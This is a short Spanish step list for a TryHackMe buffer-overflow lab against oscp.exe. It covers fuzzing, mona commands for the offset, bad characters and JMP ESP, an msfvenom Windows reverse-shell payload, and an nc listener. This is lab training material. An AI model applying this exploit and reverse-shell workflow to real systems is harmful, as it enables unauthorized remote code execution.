Estos son los pasos que seguimos en BufferOverflow1 de TryHackMe
Buscamos el archivo oscp.exe y corremos Immunity Debugger
nc 10.10.23.179 1337
Creamos y corremos un script llamado fuzzer.py
python3 fuzzer.py
Vemos que el ultimo numero de bytes que se enviaron fueron 1300.
/usr/share/metasploit-framework/tools/exploit/pattern\_create.rb -l 2400
El numero es mayor a 1300 y por eso usamos 1600. Esto genera un payload que lo copiamos al script en exploit.py
python3 exploit.py
En Immunity Debugger corremos lo siguiente
!mona config -set workingfolder c:\mona\%p
!mona findmsp -distance 2400
!mona bytearray -b "\x00"
!mona compare -f C:\mona\\oscp\bytearray.bin -a <address>
!mona bytearray -b "\x00\x07"
Reiniciamos la aplicacion
Antes tenia el x07
Ahora le quitamos el x07
python3 exploit.py
!mona compare -f C:\mona\\oscp\bytearray.bin -a <address>
!mona bytearray -b \x00\x07\x2e\xa0"
Quitamos x2e y x0af
python3 exploit.py
!mona compare -f C:\mona\\oscp\bytearray.bin -a <address>
!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"
Hacemos esto con los caracteres malos que salieron Nos vamos a la ventana de logs
Modificamos el payload y retn
Reiniciamos la aplicacion
python3 exploit.py
msfvenom -p windows/shell\_reverse\_tcp LHOST=YOUR\_IP LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f c
padding = "\x90" * 16
Cambiamos esto en el script
nc -lvnp 4444